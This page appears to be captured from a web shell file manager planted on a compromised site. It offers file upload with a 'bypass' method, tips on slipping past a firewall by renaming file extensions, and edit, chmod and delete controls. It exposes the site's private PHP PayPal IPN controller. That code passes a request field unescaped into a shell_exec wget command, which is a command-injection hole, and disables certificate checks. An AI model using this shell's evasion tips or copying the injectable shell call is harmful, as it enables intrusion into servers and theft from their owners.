Search
Search
Search
Search
Information
Information
Light
Dark
Open actions menu
Basic upload method
Bypass upload method
Tips!
If you encounter an error (by firewall) while uploading using both methods,
try changing extension of the file before uploading it and rename it right after.
This uploader supports multiple file upload.
Submit
~
var
www
podiocopy.bitkit.dk
httpdocs
app
Http
Controllers
File Content:
PaymentController.php
<?php namespace App\Http\Controllers; /** * Created by PhpStorm. * User: jis * Date: 7/1/15 * Time: 2:20 PM */ use App\Modules\GenModels\PaymentLog; use App\Modules\GenModels\PaymentMessages; use Input; use Log; //use Response; use Illuminate\Http\Response; use PhpSpec\Exception\Exception; class PaymentController extends Controller { public function testPayment() { header('HTTP/1.1 200 OK'); Log::info("Inside postProcessPayment"); $input = Input::all(); Log::info($input); exit(); } /* * Capture payment from Paypal */ public function processPayment() { header('HTTP/1.1 200 OK'); try { $this->insertIntoLog(array("message" => "Inside postProcessPayment")); //Log::info("Inside postProcessPayment"); $input = Input::all(); //Log::info($input); $this->insertIntoLog($input); if (isset($input['txn_id'])) { $rawPostData = file_get_contents('php://input'); $result = $this->paypalIpnChecker($rawPostData); $this->insertIntoLog(array("message" => $result)); //Log::info($result); $paymentLogModel = new PaymentLog(); $paymentLog = $paymentLogModel->find(array("txnID" => $input['txn_id']), 1); if (!$paymentLog) { $paymentLogModel->create(array("txnID" => $input['txn_id'])); $paymentLog = $paymentLogModel->find(array("txnID" => $input['txn_id']), 1); } if (strcmp($result, "VERIFIED") == 0) { $errMsg = ''; // stores errors from fraud checks // Make sure the payment status is "Completed" if ($input['payment_status'] != 'Completed') { $errMsg .= "Payment status is not completed," . $input['payment_status'] . ". \n"; } // Ensure the transaction is not a duplicate. {$input['txn_id']} if (isset($paymentLog['status'])) { $errMsg .= "'txn_id' has already been processed: " . "\n"; } if (!empty($errMsg)) { $paymentLogModel->update(array('_id' => $paymentLog['_id']), array('errorLog' => $errMsg)); exit(); } else { //@todo: Manage payment storage if (isset($input['mc_gross'])) { $newPaymentLogData = array(); $newPaymentLogData['estimate_id'] = $input['custom']; $newPaymentLogData['amount'] = floatval($input['mc_gross']); $newPaymentLogData['amountString'] = $input['mc_gross']; $newPaymentLogData['status'] = "completed"; $paymentLogModel->update(array('_id' => $paymentLog['_id']), $newPaymentLogData); // start the process asynchronously $url = url() . '/move/start-transfer-from-estimate/' . $newPaymentLogData['estimate_id']; $cmd = " wget -O /dev/null -o /dev/null -qb -t 1 --no-check-certificate " . $url; $pid = shell_exec($cmd); } else { $paymentLogModel->update(array('_id' => $paymentLog['_id']), array('status' => "failed")); exit(); //Don't remove this Paypal needs a response from us // return Response::json(array( // 'success' => 'Payment Failed', // ), 200); Log::info("returning 200 resp 1"); return response()->json(array( 'success' => 'Payment Completed', ), 200); } } exit(); Log::info("returning 200 resp 2"); return response()->json(array( 'success' => 'Payment Completed', ), 200); //Don't remove this Paypal needs a response from us // return Response::json(array( // 'success' => 'Payment Completed', // ), 200); } else { Log::info('Not VERIFIED'); $paymentLogModel->update(array('_id' => $paymentLog['_id']), array('status' => "failed")); //Don't remove this Paypal needs a response from us // return Response::json(array( // 'success' => 'Payment Failed', // ), 200); Log::info("returning 200 resp 3"); exit(); return response()->json(array( 'success' => 'Payment Completed', ), 200); } } else { Log::info("txn_id is not set"); exit(); return abort(404); } }catch(Exception $e){ Log::error($e); exit(); } } private function insertIntoLog($data) { try { $paymentMsg = new PaymentMessages(); $paymentMsg->create($data); return; } catch (Exception $e) { return; } } private function return200() { Log::info("return200"); // Send an empty HTTP 200 OK response to acknowledge receipt of the notification header('HTTP/1.1 200 OK'); exit(); } //Paypal provided function to check IPN public function paypalIpnChecker($rawPostData) { // STEP 1: read POST data // Reading POSTed data directly from $_POST causes serialization issues with array data in the POST. // Instead, read raw POST data from the input stream. $raw_post_array = explode('&', $rawPostData); $myPost = array(); foreach ($raw_post_array as $keyval) { $keyval = explode('=', $keyval); if (count($keyval) == 2) $myPost[$keyval[0]] = urldecode($keyval[1]); } // read the IPN message sent from PayPal and prepend 'cmd=_notify-validate' $req = 'cmd=_notify-validate'; $get_magic_quotes_exists = false; if (function_exists('get_magic_quotes_gpc')) { $get_magic_quotes_exists = true; } foreach ($myPost as $key => $value) { if ($get_magic_quotes_exists == true && get_magic_quotes_gpc() == 1) { $value = urlencode(stripslashes($value)); } else { $value = urlencode($value); } $req .= "&$key=$value"; } // Step 2: POST IPN data back to PayPal to validate $ch = curl_init('https://www.paypal.com/cgi-bin/webscr'); curl_setopt($ch, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $req); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2); curl_setopt($ch, CURLOPT_FORBID_REUSE, 1); curl_setopt($ch, CURLOPT_HTTPHEADER, array('Connection: Close')); if (!($response = curl_exec($ch))) { // error_log("Got " . curl_error($ch) . " when processing IPN data"); curl_close($ch); exit; } curl_close($ch); return $response; } public function paymentSuccess() { return view('transfer.payment-success'); } public function paymentCancel() { Log::info("paymentCancel"); Log::info(Input::all()); echo "Canceled"; } }
Edit
Download
Unzip
Chmod
Delete